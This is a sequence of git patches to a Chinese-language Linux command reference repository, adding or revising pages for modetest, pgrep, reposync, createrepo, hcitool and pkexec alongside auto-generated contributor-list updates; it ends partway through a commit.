+93,15 @@ Dazhuangw - - ptenst + + wVVaTT Shell + + Qliangw + Wang Jianing @@ -174,9 +177,6 @@ Mystic - - Qliangw - Ray Yee @@ -339,8 +339,8 @@ snovey - - sunls24 + + sunls25 tangke From ac04ffd50b3cb5e96f84224ba8bb603fa96366d2 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Mon, 10 Jul 2023 15:58:18 +0800 Subject: [PATCH 219/570] doc: update modetest.md (#518) --- command/modetest.md | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/command/modetest.md b/command/modetest.md index ba5c1aecba3..2c14428a00c 100644 --- a/command/modetest.md +++ b/command/modetest.md @@ -7,13 +7,13 @@ DRM/KMS驱动程序libdrm中的模式测试工具 `modetest` 是一个用于测试和验证 DRM（Direct Rendering Manager）驱动程序功能的命令行工具。 -**安装** +### 安装 -**源码**：[Mesa / drm · GitLab](https://gitlab.freedesktop.org/mesa/drm) +- **源码**：[Mesa / drm · GitLab](https://gitlab.freedesktop.org/mesa/drm) +- **下载**：[Index of /libdrm (dri.freedesktop.org)](https://dri.freedesktop.org/libdrm/) -**下载**：[Index of /libdrm (dri.freedesktop.org)](https://dri.freedesktop.org/libdrm/) +__编译__ -**编译** ```shell ./configure --prefix=/opt/ --host=aarch64-linux-gnu make && make install @@ -21,8 +21,7 @@ make && make install make distclean ``` -**参考**：[libdrm调试准备 - 简书](https://www.jianshu.com/p/a9152ca3e7ab) - +__参考__：[libdrm调试准备 - 简书](https://www.jianshu.com/p/a9152ca3e7ab) ### 语法 @@ -73,7 +72,8 @@ modetest [选项] ### 实例 -使用modetest查看相关信息 +使用 `modetest` 查看相关信息 + ```shell ~# modetest Encoders: # 省略了好多好多 @@ -114,7 +114,7 @@ id crtc fb CRTC x,y x,y gamma size possible crtcs ------ -根据以上信息在MIPI-DSI显示设备上使用Rockchip显卡驱动测试 +根据以上信息在 `MIPI-DSI` 显示设备上使用 `Rockchip` 显卡驱动测试 ```shell ~# modetest -M rockchip -s 211@108:1200x1920 -v @@ -129,7 +129,7 @@ freq: 59.87Hz freq: 59.87Hz ``` -在MIPI屏幕上将会看到闪烁的彩色块。 +在 `MIPI` 屏幕上将会看到闪烁的彩色块。 ------ @@ -139,6 +139,6 @@ setting mode 1200x1920-60Hz@XR24 on connectors 211, crtc 108 starting cursor ``` -在MIPI屏幕上将会看到静止的彩色块。 +在 `MIPI` 屏幕上将会看到静止的彩色块。 From 407be641faf9989dcd5a5c19f86f8641c854a914 Mon Sep 17 00:00:00 2001 From: Xu Chao <1435414174@qq.com> Date: Sat, 15 Jul 2023 10:31:25 +0800 Subject: [PATCH 220/570] doc: update command/pgrep.md (#519) --- command/pgrep.md | 41 ++++++++++++++++++++++++++++++++++------- 1 file changed, 34 insertions(+), 7 deletions(-) diff --git a/command/pgrep.md b/command/pgrep.md index c5212e45f80..034dbd95f2d 100644 --- a/command/pgrep.md +++ b/command/pgrep.md @@ -16,13 +16,30 @@ pgrep(选项)(参数) ### 选项 ```shell --o：仅显示找到的最小（起始）进程号； --n：仅显示找到的最大（结束）进程号； --l：显示进程名称； --P：指定父进程号； --g：指定进程组； --t：指定开启进程的终端； --u：指定进程的有效用户ID。 +-d, --delimiter ：指定输出的分隔符。 +-l, --list-name：列出进程ID和进程名称。 +-a, --list-full：列出进程ID和完整的命令行。 +-v, --inverse：反向匹配，即只显示不匹配的进程。 +-w, --lightweight：列出所有TID（轻量级线程）。 +-c, --count：显示匹配的进程数量。 +-f, --full：使用完整的进程名称进行匹配。 +-g, --pgroup ：匹配指定的进程组ID。 +-G, --group ：匹配真实组ID。 +-i, --ignore-case：忽略大小写进行匹配。 +-n, --newest：选择最近启动的进程。 +-o, --oldest：选择最早启动的进程。 +-O, --older ：选择启动时间早于指定秒数的进程。 +-P, --parent ：只匹配给定父进程的子进程。 +-s, --session ：匹配会话ID。 +-t, --terminal ：根据控制终端进行匹配。 +-u, --euid ：根据有效用户ID进行匹配。 +-U, --uid ：根据真实用户ID进行匹配。 +-x, --exact：精确匹配进程名称。 +-F, --pidfile ：从文件中读取PID。 +-L, --logpidfile：如果PID文件没有锁定，则失败。 +-r, --runstates ：匹配运行状态（D, S, Z等）。 +--ns ：匹配与指定PID相同命名空间的进程。 +--nslist ：列出将在 --ns 选项中考虑的命名空间。可用的命名空间包括：ipc、mnt、net、pid、user、uts。 ``` ### 参数 @@ -55,6 +72,16 @@ pgrep -lo httpd 4564 4565 4566 + +[root@localhost ~]# pgrep -x httpd +4557 +4560 +4561 +4562 +4563 +4564 +4565 +4566 ``` From 96bacc400306e3d4918c6264a5c10a79ae4261f0 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 15 Jul 2023 02:32:22 +0000 Subject: [PATCH 221/570] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 26a9c1523e8..7688b6b5da0 100644 --- a/README.md +++ b/README.md @@ -586,6 +586,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Xonline-Tech + + Xu Chao + Xu Chunyang From 7720e1a28000a6d7c22143c58c75f596fe853c1a Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 15 Jul 2023 02:32:23 +0000 Subject: [PATCH 222/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index 68c08809e0b..a32430c16af 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -222,6 +222,9 @@ Xonline-Tech + + Xu Chao + Xu Chunyang From 25182ed8abbd77736f646b38bdff6cc5cdb5094a Mon Sep 17 00:00:00 2001 From: YH <114390595+YanhiWang@users.noreply.github.com> Date: Thu, 7 Sep 2023 13:57:49 +0800 Subject: [PATCH 223/570] feat: Add reposync.md (#524) * Create reposync.md * Update reposync.md --------- Co-authored-by: YH <114390595+aini294339791@users.noreply.github.com> --- command/reposync.md | 100 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 100 insertions(+) create mode 100644 command/reposync.md diff --git a/command/reposync.md b/command/reposync.md new file mode 100644 index 00000000000..71fb087f937 --- /dev/null +++ b/command/reposync.md @@ -0,0 +1,100 @@ +reposync +=== + +同步yum存储库到本地目录 + +## 概要 + +```shell +reposync [选项] +``` + +## 主要用途 + +reposync用于将远程yum存储库同步到本地目录，使用yum检索包。 + +## 选项 + +```shell +-h, --help +# 显示帮助信息 + +-c CONFIG, --config=CONFIG +# 指定配置文件(默认为/etc/yum.conf) + +-a ARCH, --arch=ARCH +# 指定arch + +--source +# 同时下载src和rpm文件. + +-r REPOID, --repoid=REPOID +# 指定要查询的repo id，可以指定多次(默认为全部启用)。 + +-e CACHEDIR, --cachedir CACHEDIR +# 存储元数据的目录。 + +-t, --tempcache +# 使用临时目录存储/访问yum-cache。 + +-d, --delete +# 删除存储库中不再存在的本地包。 + +-p DESTDIR, --download_path=DESTDIR +# 指定下载路径:默认为当前目录。 + +--norepopath +# 不要将重命名添加到下载路径中。只能在同步单个存储库时使用(默认是添加重命名)。 + +-g, --gpgcheck +# 下载后删除GPG签名检查失败的包。如果至少有一个包被删除，退出状态为“1”。 + +-u, --urls +# 只列出要下载的内容的url，不要下载。 + +-l, --plugins +# 启用yum插件支持。 + +-m, --downloadcomps +# 同时下载comps.xml。 + +--download-metadata +# 下载所有非默认元数据。 + +-n, --newest-only +# 每个repo只下载最新的包。 + +-q, --quiet +# 输出尽可能少的信息。 + +--allow-path-traversal +# 允许同步存储在repo目录之外的包。这些包是在元数据中通过使用绝对路径或上一级“..”系统引用的并且出于安全原因通常会在reposync中跳过。 +# 注意:使用此选项有潜在的安全隐患，因为通过提供恶意repodata，攻击者可以使reposync写入任意位置运行该文件系统的用户可以访问的文件系统。 +``` + +## 例子 + +```shell +# 将'updates'仓库中的所有包同步到当前目录: +reposync --repoid=updates + +# 只同步最新的包从'updates'仓库到当前目录: +reposync -n --repoid=updates + +# 将'updates'和'extras'仓库中的包同步到当前目录: +reposync --repoid=updates --repoid=extras + +# 将'updates'仓库中的所有包同步到repos目录: +reposync -p repos --repoid=updates + +# 将'updates'仓库中的所有包同步到repos目录，排除x86_64架构文件。编辑/etc/yum.conf，添加选项exclude=*.x86_64。再执行: +reposync -p repos --repoid=updates +``` + +## 文件 + +reposync使用yum库来检索信息和包。如果没有指定配置文件，将使用默认的yum配置。 + +* /etc/yum.conf +* /etc/yum/repos.d/ + From adbf5b3cea7cdea47be99f4064fa6ff0ae7fc6c5 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 7 Sep 2023 05:58:44 +0000 Subject: [PATCH 224/570] doc: update README.md. --- README.md | 20 +++++++++++++------- 1 file changed, 13 insertions(+), 7 deletions(-) diff --git a/README.md b/README.md index 7688b6b5da0..dd691eb525c 100644 --- a/README.md +++ b/README.md @@ -415,6 +415,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Lnkstls + + SteveLauC + lavaicer @@ -586,12 +589,15 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Xonline-Tech - - Xu Chao + + Isidro Osoria Xu Chunyang + + YH + Yan Sheng @@ -652,7 +658,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 gggwvg - + ghy @@ -706,8 +712,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey - - sunls25 + + sunls23 tangke @@ -787,8 +793,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 远方 - - catandz + + Panthea Johnson 黑&蛋 From dd87d7b2fbe840761846d8601ef63509893d6156 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 7 Sep 2023 05:58:45 +0000 Subject: [PATCH 225/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 20 +++++++++++++------- 1 file changed, 13 insertions(+), 7 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index a32430c16af..884d26a804d 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -51,6 +51,9 @@ Lnkstls + + SteveLauC + lavaicer @@ -222,12 +225,15 @@ Xonline-Tech - - Xu Chao + + Isidro Osoria Xu Chunyang + + YH + Yan Sheng @@ -288,7 +294,7 @@ gggwvg - + ghy @@ -342,8 +348,8 @@ snovey - - sunls25 + + sunls23 tangke @@ -423,8 +429,8 @@ 远方 - - catandz + + Panthea Johnson 黑&蛋 From 605c02756413dc07a27e7c1de8a72050cdfd2918 Mon Sep 17 00:00:00 2001 From: YH <114390595+YanhiWang@users.noreply.github.com> Date: Thu, 7 Sep 2023 15:23:07 +0800 Subject: [PATCH 226/570] feat: add createrepo.md (#525) --- command/createrepo.md | 147 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 147 insertions(+) create mode 100644 command/createrepo.md diff --git a/command/createrepo.md b/command/createrepo.md new file mode 100644 index 00000000000..979bf0cdccf --- /dev/null +++ b/command/createrepo.md @@ -0,0 +1,147 @@ +createrepo +=== + +创建YUM仓库 + +## 概要 + +```shell +createrepo [选项] <目录> +``` + +## 描述 + +`createrepo`是一个程序，它从一组RPM创建一个RPM元数据存储库，即YUM仓库。 + +## 选项 + +```shell +-u --baseurl +# 指定Base URL的地址 + +-o --outputdir +# 指定元数据的输出位置 + +-x --excludes +# 指定在形成元数据时需要排除的包 + +-i --pkglist +# 指定一个文件，该文件内的包信息将被包含在即将生成的元数据中，格式为每个包信息独占一行，不含通配符、正则，以及范围表达式。 + +-n --includepkg +# 通过命令行指定要纳入本地库中的包信息，需要提供URL或本地路径。 + +-q --quiet +# 安静模式执行操作，不输出任何信息。 + +-g --groupfile +# 指定本地软件仓库的组划分，示例：createrepo -g comps.xml /path/to/rpms +# 注意：组文件需要和rpm包放置于同一路径下。 + +-v --verbose +# 输出详细信息。 + +-c --cachedir +# 指定一个目录，用作存放软件仓库中软件包的校验和信息。 +# 当createrepo在未发生明显改变的相同仓库文件上持续多次运行时，指定cachedir会明显提高其性能。 + +--basedir +# Basedir为repodata中目录的路径，默认为当前工作目录。 + +--update +# 如果元数据已经存在，且软件仓库中只有部分软件发生了改变或增减， +# 则可用update参数直接对原有元数据进行升级，效率比重新分析rpm包依赖并生成新的元数据要高很多。 + +--skip-stat +# 跳过--update上的stat()调用，假设如果文件名相同，则文件仍然相同(仅在您相当信任或容易受骗时使用此方法)。 + +--update-md-path +# 从这个路径使用现有的repodata来升级。 + +-C --checkts +# 不要生成回购元数据，如果它们的时间戳比rpm更新。如果您碰巧开启了该选项，则此选项将再次大幅减少处理时间一个未修改的回购，但它(目前)与——split选项互斥。注意:当包从repo中删除时，这个命令不会注意到。使用——update来处理这个。 + +--split +# 在拆分媒体模式下运行。与其传递单个目录，不如获取一组对应于媒体集中不同卷的目录。 + +-p --pretty +# 以整洁的格式输出xml文件。 + +--version +# 输出版本。 + +-h --help +# 显示帮助菜单。 + +-d --database +# 该选项指定使用SQLite来存储生成的元数据，默认项。 + +--no-database +# 不要在存储库中生成sqlite数据库。 + +-S --skip-symlinks +# 忽略包的符号链接 + +-s --checksum +# 选择repmed .xml中使用的校验和类型以及元数据中的包。默认值现在是“sha256”(如果python有hashlib)。旧的默认值是“sha”，它实际上是“sha1”，但是显式使用“sha1”在旧版本(3.0.x)的yum上不起作用，您需要指定“sha”。 + +--profile +# 输出基于时间的分析信息。 + +--changelog-limit CHANGELOG_LIMIT +# 只将每个rpm中的最后N个变更日志条目导入元数据 + +--unique-md-filenames +# 在元数据文件名中包含文件的校验和，有助于HTTP缓存(默认) + +--simple-md-filenames +# 不要在元数据文件名中包含文件的校验和。 + +--retain-old-md +# 保留旧repodata的最新(按时间戳)N个副本(这样使用旧repodata .xml文件的客户端仍然可以访问它)。默认为0。 + +--distro +指定发行版标签。可以多次指定。可选语法，指定cpeid(http://cpe.mitre.org/)——distro=cpeid,distrotag + +--content +# 指定关于存储库内容的关键字/标记。可以多次指定。 + +--repo +# 指定关于存储库本身的关键字/标签。可以多次指定。 + +--revision +# 存储库修订的任意字符串。 + +--deltas +# 告诉createrepo生成增量数据和增量元数据 + +--oldpackagedirs PATH +# 寻找更老的PKGS来对抗的路径。可以指定多次吗 + +--num-deltas int +# 要进行增量处理的旧版本的数量。默认为1 + +--read-pkgs-list READ_PKGS_LIST +# 使用——update将路径输出到PKGS实际读起来很有用 + +--max-delta-rpm-size MAX_DELTA_RPM_SIZE +# 要运行deltarpm的RPM的最大大小(以字节为单位) + +--workers WORKERS +# 为读取RPMS而生成的工作线程数 + +--compress-type +# 指定要使用的压缩方法:compat(默认)，xz(可能不可用)，gz, bz2。 + +``` + +## 返回值 + +返回状态为成功除非给出了非法选项或非法参数。 + +## 例子 + +```shell +# 生成带有groups文件的存储库。注意groups文件应该和rpm包在同一个目录下(即/path/to/rpms/comps.xml)。 +createrepo -g comps.xml /path/to/rpms +``` From 13d0b52f442944a8c6920559bfc4e316ffe14f2b Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 7 Sep 2023 07:24:00 +0000 Subject: [PATCH 227/570] doc: update README.md. --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index dd691eb525c..98190203974 100644 --- a/README.md +++ b/README.md @@ -457,6 +457,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Xrtero + + YH + Dazhuangw @@ -595,9 +598,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Xu Chunyang - - YH - Yan Sheng From 4bed11a2ba29b9ef99cbf495d8bc66957f072f22 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 7 Sep 2023 07:24:01 +0000 Subject: [PATCH 228/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 884d26a804d..5f7ce6ee456 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -93,6 +93,9 @@ Xrtero + + YH + Dazhuangw @@ -231,9 +234,6 @@ Xu Chunyang - - YH - Yan Sheng From f2851b35129404eb53a765f3a36a96141ab7a734 Mon Sep 17 00:00:00 2001 From: zyimm <799783009@qq.com> Date: Wed, 27 Sep 2023 10:36:48 +0800 Subject: [PATCH 229/570] feat: add hcitool (#526) --- command/hcitool | 77 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 77 insertions(+) create mode 100644 command/hcitool diff --git a/command/hcitool b/command/hcitool new file mode 100644 index 00000000000..1e21b9ebce3 --- /dev/null +++ b/command/hcitool @@ -0,0 +1,77 @@ +hcitool +=== + +hcitool是一个Linux命令行工具，用于管理和调试蓝牙设备。它可以用于扫描周围的蓝牙设备、连接到蓝牙设备发送命令和数据包等。 + +## 安装 + +hcitool是一个Linux命令行工具，通常已经预装在大多数Linux行版中。如果您的系统中没有安装hcitool，可以使用以下命令进行安装(debian系列发行示例) + +```bash +sudo apt-get install bluez +``` + +## 使用 +注意事项： +1. 使用ble相关命令需要提权如:lescan + + +### 语法 + +`hcitool [options] [command parameters]` + +### 命令 + +```bash + dev 显示本地设备 + inq 查询远程设备 + scan 扫描远程设备 + name 从远程设备获取名称 + info 从远程设备获取信息 + spinq 启动定期查询 + epinq 退出定期查询 + cmd 提交任意HCI命令 + con 显示活动连接 + cc 创建到远程设备的连接 + dc 断开与远程设备的连接 + sr 交换机中心/外围角色 + cpt 更改连接数据包类型 + rssi 显示连接rssi + lq 显示链路质量 + tpl 显示发射功率电平 + afh 显示afh通道图 + lp 设置/显示链接策略设置 + lst 设置/显示链接监控超时 + auth 请求身份验证 + enc 设置连接加密 + key 更改连接链接键 + clkoff 读取时钟偏移 + clock 读取本地或远程时钟 + lescan 启动LE扫描 + leinfo 获取LE远程信息 + lealadd 将设备添加到LE接受列表 + lealrm 从LE接受列表中删除设备 + lealsz LE接受列表的读取大小 + lealclr 清除LE接受列表 + +``` +### 常用简单示例 +1.扫描周围的蓝牙设备 + +`hcitool scan` + +2.通过mac地址连接到蓝牙设备 + +`hcitool cc ` + +3.显示当前蓝牙适配器信息 + +`hcitool dev` + +4.通过mac地址找到蓝牙名称 + +`hcitool name ` + +5.显示当前蓝牙活动连接信息 + +`hcitool con` From cdc8fd81a9a0829de052c435972343090b7e39ec Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 27 Sep 2023 02:37:18 +0000 Subject: [PATCH 230/570] doc: update README.md. --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 98190203974..17c378b80ea 100644 --- a/README.md +++ b/README.md @@ -736,9 +736,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 yanyx - - zengFz - zjlovezj @@ -751,6 +748,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 zuixin369 + + zyimm + 七朔 From e1278ed527fe5fc9e6e5d63e44667f3723fbbb73 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 27 Sep 2023 02:37:18 +0000 Subject: [PATCH 231/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 5f7ce6ee456..1c35cb6fd3f 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -372,9 +372,6 @@ yanyx - - zengFz - zjlovezj @@ -387,6 +384,9 @@ zuixin369 + + zyimm + 七朔 From 1f1bd4cae328e21145bf647f7e5c0da40752234e Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Thu, 28 Sep 2023 07:10:20 -0500 Subject: [PATCH 232/570] chore(deps): update dependency markdown-to-html-cli to v4 (#527) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 75b6e12c54d..7a41fc8a286 100644 --- a/package.json +++ b/package.json @@ -31,7 +31,7 @@ "ejs": "~3.1.6", "compressing": "^1.6.2", "fs-extra": "~10.1.0", - "markdown-to-html-cli": "~3.6.0", + "markdown-to-html-cli": "~4.0.0", "sitemap-generator": "~8.5.1", "sqlite3": "5.0.8", "stylus": "~0.59.0", From 13e5963b66facc36393ba4a051d877724b6e32de Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E4=B8=9B=E6=9E=97=E6=84=8F=E5=BF=97?= Date: Mon, 9 Oct 2023 00:51:53 +0800 Subject: [PATCH 233/570] feat: add pkexec.md (#520) (#529) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat:add pkexec.md(#520) * 更新 pkexec.md --- command/pkexec.md | 42 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 42 insertions(+) create mode 100644 command/pkexec.md diff --git a/command/pkexec.md b/command/pkexec.md new file mode 100644 index 00000000000..a36a1505953 --- /dev/null +++ b/command/pkexec.md @@ -0,0 +1,42 @@ +pkexec +=== +以另一个用户身份执行命令 + +## 补充说明 + +**pkexec** 允许授权用户以另一个用户的身份执行 PROGRAM。如果未指定 +PROGRAM，则将运行默认 shell。如果未指定用户名，则程序将以管理超级用户 root +的身份执行。 + +### 语法 + +```shell +pkexec [--version] [--disable-internal-agent] [--help] + +pkexec [--keep-cwd] [--user username] PROGRAM [ARGUMENTS...] +``` + +### 选项 + +```shell +PROGRAM 运行的程序 +ARGUMENTS... 传递给程序的参数 + +--version 输出版本号然后退出 +--disable-internal-agent 避免将注册自己的文本身份验证代理 +--help 输出帮助文本然后退出 +--keep-cwd 运行位置，默认在 /home// +--user 需要运行的用户名 +``` + +### 返回值 + +成功完成后，返回值为 PROGRAM 的返回值。 + +127: 在未获得授权或者身份验证发生错误 + +126: 用户关闭身份验证对话框而无法获得授权 + +### 参考资料 + +- https://man.archlinux.org/man/pkexec.1.en From 9607bdda39c85843e24db69fd787835bf0036eca Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 8 Oct 2023 16:52:48 +0000 Subject: [PATCH 234/570] doc: update README.md. --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 17c378b80ea..aa4e4efb432 100644 --- a/README.md +++ b/README.md @@ -409,6 +409,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 __FresHmaN + + 丛林意志 + James Wang @@ -433,9 +436,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 ernest - - 丛林意志 - 谈笑风生间 From 472187318633faeda0bd2a1f72e3b595590877bb Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 8 Oct 2023 16:52:49 +0000 Subject: [PATCH 235/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 1c35cb6fd3f..07e55d2ee10 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -45,6 +45,9 @@ __FresHmaN + + 丛林意志 + James Wang @@ -69,9 +72,6 @@ ernest - - 丛林意志 - 谈笑风生间 From e9e965effddd613f262bce8e754b56d86786339d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Sun, 8 Oct 2023 11:58:19 -0500 Subject: [PATCH 236/570] doc: Update pkexec.md (#529) --- command/pkexec.md | 43 +++++++++++++++++++++++++++++++++++++++---- 1 file changed, 39 insertions(+), 4 deletions(-) diff --git a/command/pkexec.md b/command/pkexec.md index a36a1505953..ec7ad702fe4 100644 --- a/command/pkexec.md +++ b/command/pkexec.md @@ -1,6 +1,7 @@ pkexec === -以另一个用户身份执行命令 + +以其他用户身份执行命令 ## 补充说明 @@ -12,7 +13,6 @@ PROGRAM，则将运行默认 shell。如果未指定用户名，则程序将以 ```shell pkexec [--version] [--disable-internal-agent] [--help] - pkexec [--keep-cwd] [--user username] PROGRAM [ARGUMENTS...] ``` @@ -33,9 +33,44 @@ ARGUMENTS... 传递给程序的参数 成功完成后，返回值为 PROGRAM 的返回值。 -127: 在未获得授权或者身份验证发生错误 +- `127`: 在未获得授权或者身份验证发生错误 +- `126`: 用户关闭身份验证对话框而无法获得授权 + +### 示例 + +1. 运行具有管理员权限的命令： + +``` +pkexec command +``` + +将 `command` 替换为你要以管理员权限运行的命令。例如，`pkexec ls` 将以管理员权限运行 `ls` 命令。 + +2. 以图形界面运行具有管理员权限的命令： + +``` +pkexec env DISPLAY=$DISPLAY XAUTHORITY=$XAUTHORITY command +``` + +这个命令用于在图形界面中运行需要管理员权限的命令。将 `command` 替换为你要以管理员权限运行的命令。 + +3. 运行具有特定身份验证代理的命令： + +``` +pkexec --user username command +``` + +将 `username` 替换为你要作为哪个用户运行命令的用户名，将 `command` 替换为你要运行的命令。 + +4. 查看 `pkexec` 的帮助信息： + +``` +pkexec --help +``` + +这个命令将显示 `pkexec` 的使用说明和选项列表。 -126: 用户关闭身份验证对话框而无法获得授权 +请注意，使用 `pkexec` 运行命令时，系统会提示你输入管理员密码进行身份验证。确保只在必要时使用 `pkexec` 来运行需要管理员权限的命令，并小心谨慎地处理管理员权限。 ### 参考资料 From efb73d959172501237240321bbe93851545680fa Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Fri, 13 Oct 2023 23:14:33 -0500 Subject: [PATCH 237/570] doc: Update CONTRIBUTING.md --- CONTRIBUTING.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 48e19e5b475..58c68de3946 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -19,7 +19,7 @@ ```markdown CommandName === -作为代码规范文档进行展示 +z ## 补充说明 From 38609c77efd20d10d8b99f2eb6a7de69a7ca4128 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Fri, 13 Oct 2023 23:16:35 -0500 Subject: [PATCH 238/570] doc: Update CONTRIBUTING.md (#497) --- CONTRIBUTING.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 58c68de3946..a43f4472839 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -19,7 +19,8 @@ ```markdown CommandName === -z + +这里是命令介绍，它可以被搜索到，如果你有个流行的应用，包含多个命令，可放到这里，以便搜索到对应的命令 ## 补充说明 From df3bffe73588faf11f60270f4ef9b035e3d92af1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83?= Date: Fri, 13 Oct 2023 23:26:27 -0500 Subject: [PATCH 239/570] doc: Update README.md --- README.md | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index aa4e4efb432..2aafd2cfd15 100644 --- a/README.md +++ b/README.md @@ -37,12 +37,11 @@ **推荐使用的镜像 web 版本** -[**`qq.wdev.cn`**](https://qq.wdev.cn) -[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[linux.vovuo.com](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/)，[**`linux.zgrnb.com`**](https://linux.zgrnb.com/) +[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/) **其它 web 版本** -[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/) +[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/)，[`utils.fun`](https://linux.utils.fun/) ## 微信小程序版本 From f97571c23db6268f2386205bf046d726ae58a7be Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E4=B8=9B=E6=9E=97=E6=84=8F=E5=BF=97?= Date: Sun, 15 Oct 2023 14:09:24 +0800 Subject: [PATCH 240/570] doc: 